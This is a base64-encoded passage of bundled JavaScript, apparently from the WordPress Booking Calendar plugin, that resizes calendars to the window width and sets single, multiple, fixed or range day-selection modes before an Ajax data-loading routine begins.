yAxIF0gOiAnJztcclxuXHRcdFx0dmFyIGZpbHRlcl92YWx1ZSA9ICgndW5kZWZpbmVkJyAhPT0gdHlwZW9mIChteV9mb3JtX2ZpZWxkWyAyIF0pKSA/IG15X2Zvcm1fZmllbGRbIDIgXSA6ICcnO1xyXG5cclxuXHRcdFx0ZmlsdGVyX29wdGlvbnNfYXJyLnB1c2goXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICA6IGZpbHRlcl90eXBlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J25hbWUnICA6IGZpbHRlcl9uYW1lLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3ZhbHVlJyA6IGZpbHRlcl92YWx1ZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdCAgICk7XHJcblx0XHR9XHJcblx0XHRyZXR1cm4gZmlsdGVyX29wdGlvbnNfYXJyO1xyXG5cdH1cclxuXHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuLyogID09ICBBdXRvIFVwZGF0ZSBudW1iZXIgb2YgbW9udGhzIGluIGNhbGVuZGFycyBPTiBzY3JlZW4gc2l6ZSBjaGFuZ2VkICA9PVxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiBBdXRvIFVwZGF0ZSBOdW1iZXIgb2YgTW9udGhzIGluIENhbGVuZGFyLCBlLmcuOiAgXHRcdGlmICAgICggV0lORE9XX1dJRFRIIDw9IDc4MnB4ICkgICA+Pj4gXHRNT05USFNfTlVNQkVSID0gMVxyXG4gKiAgIEVMU0U6ICBudW1iZXIgb2YgbW9udGhzIGRlZmluZWQgaW4gc2hvcnRjb2RlLlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWQgaW50XHJcbiAqXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19hdXRvX3VwZGF0ZV9tb250aHNfbnVtYmVyX19vbl9yZXNpemUoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdHZhciBsb2NhbF9fbnVtYmVyX29mX21vbnRocyA9IHBhcnNlSW50KCBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2NhbGVuZGFyX251bWJlcl9vZl9tb250aHMnICkgKTtcclxuXHJcblx0aWYgKCBsb2NhbF9fbnVtYmVyX29mX21vbnRocyA+IDEgKXtcclxuXHJcblx0XHRpZiAoIGpRdWVyeSggd2luZG93ICkud2lkdGgoKSA8PSA3ODIgKXtcclxuXHRcdFx0d3BiY19jYWxlbmRhcl9fdXBkYXRlX21vbnRoc19udW1iZXIoIHJlc291cmNlX2lkLCAxICk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHR3cGJjX2NhbGVuZGFyX191cGRhdGVfbW9udGhzX251bWJlciggcmVzb3VyY2VfaWQsIGxvY2FsX19udW1iZXJfb2ZfbW9udGhzICk7XHJcblx0XHR9XHJcblxyXG5cdH1cclxufVxyXG5cclxuLyoqXHJcbiAqIEF1dG8gVXBkYXRlIE51bWJlciBvZiBNb250aHMgaW4gICBBTEwgICBDYWxlbmRhcnNcclxuICpcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJzX19hdXRvX3VwZGF0ZV9tb250aHNfbnVtYmVyKCl7XHJcblxyXG5cdHZhciBhbGxfY2FsZW5kYXJzX2FyciA9IF93cGJjLmNhbGVuZGFyc19hbGxfX2dldCgpO1xyXG5cclxuXHQvLyBUaGlzIExPT1AgXCJmb3IgaW5cIiBpcyBHT09ELCBiZWNhdXNlIHdlIGNoZWNrICBoZXJlIGtleXMgICAgJ2NhbGVuZGFyXycgPT09IGNhbGVuZGFyX2lkLnNsaWNlKCAwLCA5IClcclxuXHRmb3IgKCB2YXIgY2FsZW5kYXJfaWQgaW4gYWxsX2NhbGVuZGFyc19hcnIgKXtcclxuXHRcdGlmICggJ2NhbGVuZGFyXycgPT09IGNhbGVuZGFyX2lkLnNsaWNlKCAwLCA5ICkgKXtcclxuXHRcdFx0dmFyIHJlc291cmNlX2lkID0gcGFyc2VJbnQoIGNhbGVuZGFyX2lkLnNsaWNlKCA5ICkgKTtcdFx0XHQvLyAgJ2NhbGVuZGFyXzMnIC0+IDNcclxuXHRcdFx0aWYgKCByZXNvdXJjZV9pZCA+IDAgKXtcclxuXHRcdFx0XHR3cGJjX2NhbGVuZGFyX19hdXRvX3VwZGF0ZV9tb250aHNfbnVtYmVyX19vbl9yZXNpemUoIHJlc291cmNlX2lkICk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcbn1cclxuXHJcbi8qKlxyXG4gKiBJZiBicm93c2VyIHdpbmRvdyBjaGFuZ2VkLCAgdGhlbiAgdXBkYXRlIG51bWJlciBvZiBtb250aHMuXHJcbiAqL1xyXG5qUXVlcnkoIHdpbmRvdyApLm9uKCAncmVzaXplJywgZnVuY3Rpb24gKCl7XHJcblx0d3BiY19jYWxlbmRhcnNfX2F1dG9fdXBkYXRlX21vbnRoc19udW1iZXIoKTtcclxufSApO1xyXG5cclxuLyoqXHJcbiAqIEF1dG8gdXBkYXRlIGNhbGVuZGFyIG51bWJlciBvZiBtb250aHMgb24gaW5pdGlhbCBwYWdlIGxvYWRcclxuICovXHJcbmpRdWVyeSggZG9jdW1lbnQgKS5yZWFkeSggZnVuY3Rpb24gKCl7XHJcblx0dmFyIGNsb3NlZF90aW1lciA9IHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cdFx0d3BiY19jYWxlbmRhcnNfX2F1dG9fdXBkYXRlX21vbnRoc19udW1iZXIoKTtcclxuXHR9LCAxMDAgKTtcclxufSk7IiwiLyoqXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqXHRpbmNsdWRlcy9fX2pzL2NhbC9kYXlzX3NlbGVjdF9jdXN0b20uanNcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICovXHJcblxyXG4vL0ZpeEluOiA5LjguOS4yXHJcblxyXG4vKipcclxuICogUmUtSW5pdCBDYWxlbmRhciBhbmQgUmUtUmVuZGVyIGl0LlxyXG4gKlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX19yZV9pbml0KCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHQvLyBSZW1vdmUgQ0xBU1MgIGZvciBhYmlsaXR5IHRvIHJlLXJlbmRlciBhbmQgcmVpbml0IGNhbGVuZGFyLlxyXG5cdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkucmVtb3ZlQ2xhc3MoICdoYXNEYXRlcGljaycgKTtcclxuXHR3cGJjX2NhbGVuZGFyX3Nob3coIHJlc291cmNlX2lkICk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogUmUtSW5pdCBwcmV2aW91c2x5ICBzYXZlZCBkYXlzIHNlbGVjdGlvbiAgdmFyaWFibGVzLlxyXG4gKlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX2RheXNfc2VsZWN0X19yZV9pbml0KCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ3NhdmVkX3ZhcmlhYmxlX19fZGF5c19zZWxlY3RfaW5pdGlhbCdcclxuXHRcdCwge1xyXG5cdFx0XHQnZHluYW1pY19fZGF5c19taW4nICAgICAgICA6IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fZGF5c19taW4nICksXHJcblx0XHRcdCdkeW5hbWljX19kYXlzX21heCcgICAgICAgIDogX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkeW5hbWljX19kYXlzX21heCcgKSxcclxuXHRcdFx0J2R5bmFtaWNfX2RheXNfc3BlY2lmaWMnICAgOiBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2R5bmFtaWNfX2RheXNfc3BlY2lmaWMnICksXHJcblx0XHRcdCdkeW5hbWljX193ZWVrX2RheXNfX3N0YXJ0JzogX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkeW5hbWljX193ZWVrX2RheXNfX3N0YXJ0JyApLFxyXG5cdFx0XHQnZml4ZWRfX2RheXNfbnVtJyAgICAgICAgICA6IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZml4ZWRfX2RheXNfbnVtJyApLFxyXG5cdFx0XHQnZml4ZWRfX3dlZWtfZGF5c19fc3RhcnQnICA6IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZml4ZWRfX3dlZWtfZGF5c19fc3RhcnQnIClcclxuXHRcdH1cclxuXHQpO1xyXG59XHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcbi8qKlxyXG4gKiBTZXQgU2luZ2xlIERheSBzZWxlY3Rpb24gLSBhZnRlciBwYWdlIGxvYWRcclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHRcdElEIG9mIGJvb2tpbmcgcmVzb3VyY2VcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX3JlYWR5X2RheXNfc2VsZWN0X19zaW5nbGUoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdC8vIFJlLWRlZmluZSBzZWxlY3Rpb24sIG9ubHkgYWZ0ZXIgcGFnZSBsb2FkZWQgd2l0aCBhbGwgaW5pdCB2YXJzXHJcblx0alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpe1xyXG5cclxuXHRcdC8vIFdhaXQgMSBzZWNvbmQsIGp1c3QgdG8gIGJlIHN1cmUsIHRoYXQgYWxsIGluaXQgdmFycyBkZWZpbmVkXHJcblx0XHRzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7XHJcblxyXG5cdFx0XHR3cGJjX2NhbF9kYXlzX3NlbGVjdF9fc2luZ2xlKCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRcdH0sIDEwMDApO1xyXG5cdH0pO1xyXG59XHJcblxyXG4vKipcclxuICogU2V0IFNpbmdsZSBEYXkgc2VsZWN0aW9uXHJcbiAqIENhbiBiZSBydW4gYXQgYW55ICB0aW1lLCAgd2hlbiAgY2FsZW5kYXIgZGVmaW5lZCAtIHVzZWZ1bCBmb3IgY29uc29sZSBydW4uXHJcbiAqXHJcbiAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XHRJRCBvZiBib29raW5nIHJlc291cmNlXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9kYXlzX3NlbGVjdF9fc2luZ2xlKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtZXRlcnMoIHJlc291cmNlX2lkLCB7J2RheXNfc2VsZWN0X21vZGUnOiAnc2luZ2xlJ30gKTtcclxuXHJcblx0d3BiY19jYWxfZGF5c19zZWxlY3RfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcblx0d3BiY19jYWxfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcbn1cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuLyoqXHJcbiAqIFNldCBNdWx0aXBsZSBEYXlzIHNlbGVjdGlvbiAgLSBhZnRlciBwYWdlIGxvYWRcclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHRcdElEIG9mIGJvb2tpbmcgcmVzb3VyY2VcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX3JlYWR5X2RheXNfc2VsZWN0X19tdWx0aXBsZSggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0Ly8gUmUtZGVmaW5lIHNlbGVjdGlvbiwgb25seSBhZnRlciBwYWdlIGxvYWRlZCB3aXRoIGFsbCBpbml0IHZhcnNcclxuXHRqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7XHJcblxyXG5cdFx0Ly8gV2FpdCAxIHNlY29uZCwganVzdCB0byAgYmUgc3VyZSwgdGhhdCBhbGwgaW5pdCB2YXJzIGRlZmluZWRcclxuXHRcdHNldFRpbWVvdXQoZnVuY3Rpb24oKXtcclxuXHJcblx0XHRcdHdwYmNfY2FsX2RheXNfc2VsZWN0X19tdWx0aXBsZSggcmVzb3VyY2VfaWQgKTtcclxuXHJcblx0XHR9LCAxMDAwKTtcclxuXHR9KTtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiBTZXQgTXVsdGlwbGUgRGF5cyBzZWxlY3Rpb25cclxuICogQ2FuIGJlIHJ1biBhdCBhbnkgIHRpbWUsICB3aGVuICBjYWxlbmRhciBkZWZpbmVkIC0gdXNlZnVsIGZvciBjb25zb2xlIHJ1bi5cclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHRcdElEIG9mIGJvb2tpbmcgcmVzb3VyY2VcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX2RheXNfc2VsZWN0X19tdWx0aXBsZSggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzKCByZXNvdXJjZV9pZCwgeydkYXlzX3NlbGVjdF9tb2RlJzogJ211bHRpcGxlJ30gKTtcclxuXHJcblx0d3BiY19jYWxfZGF5c19zZWxlY3RfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcblx0d3BiY19jYWxfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcbn1cclxuXHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcbi8qKlxyXG4gKiBTZXQgRml4ZWQgRGF5cyBzZWxlY3Rpb24gd2l0aCAgMSBtb3VzZSBjbGljayAgLSBhZnRlciBwYWdlIGxvYWRcclxuICpcclxuICogQGludGVnZXIgcmVzb3VyY2VfaWRcdFx0XHQtIDFcdFx0XHRcdCAgIC0tIElEIG9mIGJvb2tpbmcgcmVzb3VyY2UgKGNhbGVuZGFyKSAtXHJcbiAqIEBpbnRlZ2VyIGRheXNfbnVtYmVyXHRcdFx0LSAzXHRcdFx0XHQgICAtLSBudW1iZXIgb2YgZGF5cyB0byAgc2VsZWN0XHQtXHJcbiAqIEBhcnJheSB3ZWVrX2RheXNfX3N0YXJ0XHQtIFstMV0gfCBbIDEsIDVdICAgLS0gIHsgLTEgLSBBbnkgfCAwIC0gU3UsICAxIC0gTW8sICAyIC0gVHUsIDMgLSBXZSwgNCAtIFRoLCA1IC0gRnIsIDYgLSBTYXQgfVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19jYWxfcmVhZHlfZGF5c19zZWxlY3RfX2ZpeGVkKCByZXNvdXJjZV9pZCwgZGF5c19udW1iZXIsIHdlZWtfZGF5c19fc3RhcnQgPSBbLTFdICl7XHJcblxyXG5cdC8vIFJlLWRlZmluZSBzZWxlY3Rpb24sIG9ubHkgYWZ0ZXIgcGFnZSBsb2FkZWQgd2l0aCBhbGwgaW5pdCB2YXJzXHJcblx0alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpe1xyXG5cclxuXHRcdC8vIFdhaXQgMSBzZWNvbmQsIGp1c3QgdG8gIGJlIHN1cmUsIHRoYXQgYWxsIGluaXQgdmFycyBkZWZpbmVkXHJcblx0XHRzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7XHJcblxyXG5cdFx0XHR3cGJjX2NhbF9kYXlzX3NlbGVjdF9fZml4ZWQoIHJlc291cmNlX2lkLCBkYXlzX251bWJlciwgd2Vla19kYXlzX19zdGFydCApO1xyXG5cclxuXHRcdH0sIDEwMDApO1xyXG5cdH0pO1xyXG59XHJcblxyXG5cclxuLyoqXHJcbiAqIFNldCBGaXhlZCBEYXlzIHNlbGVjdGlvbiB3aXRoICAxIG1vdXNlIGNsaWNrXHJcbiAqIENhbiBiZSBydW4gYXQgYW55ICB0aW1lLCAgd2hlbiAgY2FsZW5kYXIgZGVmaW5lZCAtIHVzZWZ1bCBmb3IgY29uc29sZSBydW4uXHJcbiAqXHJcbiAqIEBpbnRlZ2VyIHJlc291cmNlX2lkXHRcdFx0LSAxXHRcdFx0XHQgICAtLSBJRCBvZiBib29raW5nIHJlc291cmNlIChjYWxlbmRhcikgLVxyXG4gKiBAaW50ZWdlciBkYXlzX251bWJlclx0XHRcdC0gM1x0XHRcdFx0ICAgLS0gbnVtYmVyIG9mIGRheXMgdG8gIHNlbGVjdFx0LVxyXG4gKiBAYXJyYXkgd2Vla19kYXlzX19zdGFydFx0LSBbLTFdIHwgWyAxLCA1XSAgIC0tICB7IC0xIC0gQW55IHwgMCAtIFN1LCAgMSAtIE1vLCAgMiAtIFR1LCAzIC0gV2UsIDQgLSBUaCwgNSAtIEZyLCA2IC0gU2F0IH1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX2RheXNfc2VsZWN0X19maXhlZCggcmVzb3VyY2VfaWQsIGRheXNfbnVtYmVyLCB3ZWVrX2RheXNfX3N0YXJ0ID0gWy0xXSApe1xyXG5cclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtZXRlcnMoIHJlc291cmNlX2lkLCB7J2RheXNfc2VsZWN0X21vZGUnOiAnZml4ZWQnfSApO1xyXG5cclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtZXRlcnMoIHJlc291cmNlX2lkLCB7J2ZpeGVkX19kYXlzX251bSc6IHBhcnNlSW50KCBkYXlzX251bWJlciApfSApO1x0XHRcdC8vIE51bWJlciBvZiBkYXlzIHNlbGVjdGlvbiB3aXRoIDEgbW91c2UgY2xpY2tcclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtZXRlcnMoIHJlc291cmNlX2lkLCB7J2ZpeGVkX193ZWVrX2RheXNfX3N0YXJ0Jzogd2Vla19kYXlzX19zdGFydH0gKTsgXHQvLyB7IC0xIC0gQW55IHwgMCAtIFN1LCAgMSAtIE1vLCAgMiAtIFR1LCAzIC0gV2UsIDQgLSBUaCwgNSAtIEZyLCA2IC0gU2F0IH1cclxuXHJcblx0d3BiY19jYWxfZGF5c19zZWxlY3RfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcblx0d3BiY19jYWxfX3JlX2luaXQoIHJlc291cmNlX2lkICk7XHJcbn1cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuLyoqXHJcbiAqIFNldCBSYW5nZSBEYXlzIHNlbGVjdGlvbiAgd2l0aCAgMiBtb3VzZSBjbGlja3MgIC0gYWZ0ZXIgcGFnZSBsb2FkXHJcbiAqXHJcbiAqIEBpbnRlZ2VyIHJlc291cmNlX2lkXHRcdFx0LSAxXHRcdFx0XHQgICBcdFx0LS0gSUQgb2YgYm9va2luZyByZXNvdXJjZSAoY2FsZW5kYXIpXHJcbiAqIEBpbnRlZ2VyIGRheXNfbWluXHRcdFx0LSA3XHRcdFx0XHQgICBcdFx0LS0gTWluIG51bWJlciBvZiBkYXlzIHRvIHNlbGVjdFxyXG4gKiBAaW50ZWdlciBkYXlzX21heFx0XHRcdC0gMzBcdFx0XHQgICBcdFx0LS0gTWF4IG51bWJlciBvZiBkYXlzIHRvIHNlbGVjdFxyXG4gKiBAYXJyYXkgZGF5c19zcGVjaWZpY1x0XHRcdC0gW10gfCBbNywxNCwyMSwyOF1cdFx0LS0gUmVzdHJpY3Rpb24gZm9yIFNwZWNpZmljIG51bWJlciBvZiBkYXlzIHNlbGVjdGlvblxyXG4gKiBAYXJyYXkgd2Vla19kYXlzX19zdGFydFx0XHQtIFstMV0gfCBbIDEsIDVdICAgXHRcdC0tICB7IC0xIC0gQW55IHwgMCAtIFN1LCAgMSAtIE1vLCAgMiAtIFR1LCAzIC0gV2UsIDQgLSBUaCwgNSAtIEZyLCA2IC0gU2F0IH1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX3JlYWR5X2RheXNfc2VsZWN0X19yYW5nZSggcmVzb3VyY2VfaWQsIGRheXNfbWluLCBkYXlzX21heCwgZGF5c19zcGVjaWZpYyA9IFtdLCB3ZWVrX2RheXNfX3N0YXJ0ID0gWy0xXSApe1xyXG5cclxuXHQvLyBSZS1kZWZpbmUgc2VsZWN0aW9uLCBvbmx5IGFmdGVyIHBhZ2UgbG9hZGVkIHdpdGggYWxsIGluaXQgdmFyc1xyXG5cdGpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXtcclxuXHJcblx0XHQvLyBXYWl0IDEgc2Vjb25kLCBqdXN0IHRvICBiZSBzdXJlLCB0aGF0IGFsbCBpbml0IHZhcnMgZGVmaW5lZFxyXG5cdFx0c2V0VGltZW91dChmdW5jdGlvbigpe1xyXG5cclxuXHRcdFx0d3BiY19jYWxfZGF5c19zZWxlY3RfX3JhbmdlKCByZXNvdXJjZV9pZCwgZGF5c19taW4sIGRheXNfbWF4LCBkYXlzX3NwZWNpZmljLCB3ZWVrX2RheXNfX3N0YXJ0ICk7XHJcblx0XHR9LCAxMDAwKTtcclxuXHR9KTtcclxufVxyXG5cclxuLyoqXHJcbiAqIFNldCBSYW5nZSBEYXlzIHNlbGVjdGlvbiAgd2l0aCAgMiBtb3VzZSBjbGlja3NcclxuICogQ2FuIGJlIHJ1biBhdCBhbnkgIHRpbWUsICB3aGVuICBjYWxlbmRhciBkZWZpbmVkIC0gdXNlZnVsIGZvciBjb25zb2xlIHJ1bi5cclxuICpcclxuICogQGludGVnZXIgcmVzb3VyY2VfaWRcdFx0XHQtIDFcdFx0XHRcdCAgIFx0XHQtLSBJRCBvZiBib29raW5nIHJlc291cmNlIChjYWxlbmRhcilcclxuICogQGludGVnZXIgZGF5c19taW5cdFx0XHQtIDdcdFx0XHRcdCAgIFx0XHQtLSBNaW4gbnVtYmVyIG9mIGRheXMgdG8gc2VsZWN0XHJcbiAqIEBpbnRlZ2VyIGRheXNfbWF4XHRcdFx0LSAzMFx0XHRcdCAgIFx0XHQtLSBNYXggbnVtYmVyIG9mIGRheXMgdG8gc2VsZWN0XHJcbiAqIEBhcnJheSBkYXlzX3NwZWNpZmljXHRcdFx0LSBbXSB8IFs3LDE0LDIxLDI4XVx0XHQtLSBSZXN0cmljdGlvbiBmb3IgU3BlY2lmaWMgbnVtYmVyIG9mIGRheXMgc2VsZWN0aW9uXHJcbiAqIEBhcnJheSB3ZWVrX2RheXNfX3N0YXJ0XHRcdC0gWy0xXSB8IFsgMSwgNV0gICBcdFx0LS0gIHsgLTEgLSBBbnkgfCAwIC0gU3UsICAxIC0gTW8sICAyIC0gVHUsIDMgLSBXZSwgNCAtIFRoLCA1IC0gRnIsIDYgLSBTYXQgfVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19jYWxfZGF5c19zZWxlY3RfX3JhbmdlKCByZXNvdXJjZV9pZCwgZGF5c19taW4sIGRheXNfbWF4LCBkYXlzX3NwZWNpZmljID0gW10sIHdlZWtfZGF5c19fc3RhcnQgPSBbLTFdICl7XHJcblxyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1ldGVycyggIHJlc291cmNlX2lkLCB7J2RheXNfc2VsZWN0X21vZGUnOiAnZHluYW1pYyd9ICApO1xyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fZGF5c19taW4nICAgICAgICAgLCBwYXJzZUludCggZGF5c19taW4gKSAgKTsgICAgICAgICAgIFx0XHQvLyBNaW4uIE51bWJlciBvZiBkYXlzIHNlbGVjdGlvbiB3aXRoIDIgbW91c2UgY2xpY2tzXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkeW5hbWljX19kYXlzX21heCcgICAgICAgICAsIHBhcnNlSW50KCBkYXlzX21heCApICApOyAgICAgICAgICBcdFx0Ly8gTWF4LiBOdW1iZXIgb2YgZGF5cyBzZWxlY3Rpb24gd2l0aCAyIG1vdXNlIGNsaWNrc1xyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fZGF5c19zcGVjaWZpYycgICAgLCBkYXlzX3NwZWNpZmljICApO1x0ICAgICAgXHRcdFx0XHQvLyBFeGFtcGxlIFs1LDddXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkeW5hbWljX193ZWVrX2RheXNfX3N0YXJ0JyAsIHdlZWtfZGF5c19fc3RhcnQgICk7ICBcdFx0XHRcdFx0Ly8geyAtMSAtIEFueSB8IDAgLSBTdSwgIDEgLSBNbywgIDIgLSBUdSwgMyAtIFdlLCA0IC0gVGgsIDUgLSBGciwgNiAtIFNhdCB9XHJcblxyXG5cdHdwYmNfY2FsX2RheXNfc2VsZWN0X19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdHdwYmNfY2FsX19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG59XHJcbiIsIi8qKlxyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKlx0aW5jbHVkZXMvX19qcy9jYWxfYWp4X2xvYWQvd3BiY19jYWxfYWp4LmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqL1xyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8vICBBIGogYSB4ICAgIEwgbyBhIGQgICAgQyBhIGwgZSBuIGQgYSByICAgIEQgYSB0IGFcclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5mdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19sb2FkX2RhdGFfX2FqeCggcGFyYW1zICl7XHJcblxyXG5cdC8vRml4SW46IDkuOC42LjJcclxuXHR3cGJjX2NhbGVuZGFyX19sb2FkaW5nX19zdGFydCggcGFyYW1zWydyZXNvdXJjZV9pZCddICk7XHJcblx0aWYgKCB3cGJjX2JhbGFuY2VyX19pc193YWl0KCBwYXJhbXMgLCAnd3BiY19jYWxlb